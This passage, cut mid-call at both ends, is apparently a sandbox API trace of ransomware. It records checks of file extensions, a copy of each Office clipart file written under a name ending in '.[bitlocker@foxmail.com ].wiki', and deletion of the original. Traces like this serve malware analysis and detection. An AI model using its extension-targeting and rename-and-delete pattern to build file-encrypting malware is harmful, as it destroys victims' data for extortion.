(lpString1=".xlsx", lpString2="_.WMF") returned -1 [0185.868] lstrlenW (lpString=".ppt") returned 4 [0185.868] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0185.868] lstrlenW (lpString=".zip") returned 4 [0185.868] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.868] lstrlenW (lpString=".rar") returned 4 [0185.868] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.868] lstrlenW (lpString=".bz2") returned 4 [0185.868] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.868] lstrlenW (lpString=".7z") returned 3 [0185.868] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0185.868] lstrlenW (lpString=".dbf") returned 4 [0185.868] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0185.868] lstrlenW (lpString=".1cd") returned 4 [0185.868] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0185.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0185.868] lstrlenW (lpString=".jpg") returned 4 [0185.868] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0185.868] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0185.868] lstrlenW (lpString="BS00078_.WMF") returned 12 [0185.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0185.869] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=1444) returned 1 [0185.869] CloseHandle (hObject=0x1e4) returned 1 [0185.869] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf")) returned 0x20 [0185.869] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0185.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0185.869] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0185.869] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0185.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0185.869] GetLastError () returned 0x0 [0185.869] ReadFile (in: hFile=0x1e4, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x5a4, lpOverlapped=0x0) returned 1 [0185.880] WriteFile (in: hFile=0x1fc, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0185.880] ReadFile (in: hFile=0x1e4, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0185.881] WriteFile (in: hFile=0x1fc, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0185.881] SetEndOfFile (hFile=0x1fc) returned 1 [0185.881] CloseHandle (hObject=0x1fc) returned 1 [0185.881] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0185.881] SetEndOfFile (hFile=0x1e4) returned 1 [0186.139] CloseHandle (hObject=0x1e4) returned 1 [0186.139] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0186.139] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf")) returned 1 [0186.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0186.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0186.139] lstrlenW (lpString=".doc") returned 4 [0186.139] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.139] lstrlenW (lpString=".docx") returned 5 [0186.139] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.139] lstrlenW (lpString=".pdf") returned 4 [0186.139] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.139] lstrlenW (lpString=".xls") returned 4 [0186.139] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.139] lstrlenW (lpString=".xlsx") returned 5 [0186.139] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.139] lstrlenW (lpString=".ppt") returned 4 [0186.139] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0186.139] lstrlenW (lpString=".zip") returned 4 [0186.139] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.139] lstrlenW (lpString=".rar") returned 4 [0186.140] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.140] lstrlenW (lpString=".bz2") returned 4 [0186.140] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.140] lstrlenW (lpString=".7z") returned 3 [0186.140] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0186.140] lstrlenW (lpString=".dbf") returned 4 [0186.140] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0186.140] lstrlenW (lpString=".1cd") returned 4 [0186.140] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0186.140] lstrlenW (lpString=".jpg") returned 4 [0186.140] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0186.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0186.140] lstrlenW (lpString=".doc") returned 4 [0186.140] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.140] lstrlenW (lpString=".docx") returned 5 [0186.140] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.140] lstrlenW (lpString=".pdf") returned 4 [0186.140] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.140] lstrlenW (lpString=".xls") returned 4 [0186.140] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.140] lstrlenW (lpString=".xlsx") returned 5 [0186.140] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.140] lstrlenW (lpString=".ppt") returned 4 [0186.140] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0186.140] lstrlenW (lpString=".zip") returned 4 [0186.140] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.140] lstrlenW (lpString=".rar") returned 4 [0186.140] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.141] lstrlenW (lpString=".bz2") returned 4 [0186.141] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.141] lstrlenW (lpString=".7z") returned 3 [0186.141] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0186.141] lstrlenW (lpString=".dbf") returned 4 [0186.141] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0186.141] lstrlenW (lpString=".1cd") returned 4 [0186.141] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0186.141] lstrlenW (lpString=".jpg") returned 4 [0186.141] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.141] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0186.141] lstrlenW (lpString="BS00440_.WMF") returned 12 [0186.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0186.141] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=5580) returned 1 [0186.141] CloseHandle (hObject=0x1e4) returned 1 [0186.142] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf")) returned 0x20 [0186.142] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0186.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0186.142] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0186.142] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0186.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0186.142] GetLastError () returned 0x0 [0186.142] ReadFile (in: hFile=0x1e4, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x15cc, lpOverlapped=0x0) returned 1 [0186.144] WriteFile (in: hFile=0x1c8, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x15d0, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x15d0, lpOverlapped=0x0) returned 1 [0186.145] ReadFile (in: hFile=0x1e4, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0186.145] WriteFile (in: hFile=0x1c8, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0186.145] SetEndOfFile (hFile=0x1c8) returned 1 [0186.145] CloseHandle (hObject=0x1c8) returned 1 [0186.145] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0186.145] SetEndOfFile (hFile=0x1e4) returned 1 [0186.146] CloseHandle (hObject=0x1e4) returned 1 [0186.146] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0186.146] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf")) returned 1 [0186.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0186.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0186.147] lstrlenW (lpString=".doc") returned 4 [0186.147] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.147] lstrlenW (lpString=".docx") returned 5 [0186.147] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.147] lstrlenW (lpString=".pdf") returned 4 [0186.147] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.147] lstrlenW (lpString=".xls") returned 4 [0186.147] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.147] lstrlenW (lpString=".xlsx") returned 5 [0186.147] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.147] lstrlenW (lpString=".ppt") returned 4 [0186.147] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0186.147] lstrlenW (lpString=".zip") returned 4 [0186.147] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.147] lstrlenW (lpString=".rar") returned 4 [0186.147] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.147] lstrlenW (lpString=".bz2") returned 4 [0186.147] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.147] lstrlenW (lpString=".7z") returned 3 [0186.147] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0186.147] lstrlenW (lpString=".dbf") returned 4 [0186.147] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0186.147] lstrlenW (lpString=".1cd") returned 4 [0186.147] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0186.147] lstrlenW (lpString=".jpg") returned 4 [0186.147] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0186.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0186.148] lstrlenW (lpString=".doc") returned 4 [0186.148] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.148] lstrlenW (lpString=".docx") returned 5 [0186.148] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.148] lstrlenW (lpString=".pdf") returned 4 [0186.148] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.148] lstrlenW (lpString=".xls") returned 4 [0186.148] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.148] lstrlenW (lpString=".xlsx") returned 5 [0186.148] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.148] lstrlenW (lpString=".ppt") returned 4 [0186.148] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0186.148] lstrlenW (lpString=".zip") returned 4 [0186.148] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.148] lstrlenW (lpString=".rar") returned 4 [0186.148] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.148] lstrlenW (lpString=".bz2") returned 4 [0186.148] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.148] lstrlenW (lpString=".7z") returned 3 [0186.148] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0186.148] lstrlenW (lpString=".dbf") returned 4 [0186.148] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0186.148] lstrlenW (lpString=".1cd") returned 4 [0186.148] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0186.148] lstrlenW (lpString=".jpg") returned 4 [0186.148] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.149] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0186.149] lstrlenW (lpString="BS00441_.WMF") returned 12 [0186.149] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0186.149] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=3524) returned 1 [0186.149] CloseHandle (hObject=0x1e4) returned 1 [0186.149] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf")) returned 0x20 [0186.149] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0186.149] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0186.149] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0186.149] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0186.149] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0186.150] GetLastError () returned 0x0 [0186.150] ReadFile (in: hFile=0x1e4, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0xdc4, lpOverlapped=0x0) returned 1 [0186.152] WriteFile (in: hFile=0x1c8, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xdd0, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xdd0, lpOverlapped=0x0) returned 1 [0186.152] ReadFile (in: hFile=0x1e4, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0186.152] WriteFile (in: hFile=0x1c8, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0186.153] SetEndOfFile (hFile=0x1c8) returned 1 [0186.153] CloseHandle (hObject=0x1c8) returned 1 [0186.153] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0186.153] SetEndOfFile (hFile=0x1e4) returned 1 [0186.153] CloseHandle (hObject=0x1e4) returned 1 [0186.154] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0186.154] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf")) returned 1 [0186.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0186.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0186.154] lstrlenW (lpString=".doc") returned 4 [0186.154] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.154] lstrlenW (lpString=".docx") returned 5 [0186.154] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.154] lstrlenW (lpString=".pdf") returned 4 [0186.154] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.154] lstrlenW (lpString=".xls") returned 4 [0186.154] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.154] lstrlenW (lpString=".xlsx") returned 5 [0186.154] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.154] lstrlenW (lpString=".ppt") returned 4 [0186.154] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0186.154] lstrlenW (lpString=".zip") returned 4 [0186.154] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.154] lstrlenW (lpString=".rar") returned 4 [0186.154] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.154] lstrlenW (lpString=".bz2") returned 4 [0186.154] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.154] lstrlenW (lpString=".7z") returned 3 [0186.154] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0186.155] lstrlenW (lpString=".dbf") returned 4 [0186.155] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0186.155] lstrlenW (lpString=".1cd") returned 4 [0186.155] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0186.155] lstrlenW (lpString=".jpg") returned 4 [0186.155] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0186.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0186.155] lstrlenW (lpString=".doc") returned 4 [0186.155] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.155] lstrlenW (lpString=".docx") returned 5 [0186.155] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.155] lstrlenW (lpString=".pdf") returned 4 [0186.155] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.155] lstrlenW (lpString=".xls") returned 4 [0186.155] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.155] lstrlenW (lpString=".xlsx") returned 5 [0186.155] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.155] lstrlenW (lpString=".ppt") returned 4 [0186.155] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0186.155] lstrlenW (lpString=".zip") returned 4 [0186.155] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.155] lstrlenW (lpString=".rar") returned 4 [0186.155] lstrcmpiW (lpString1=".rar", 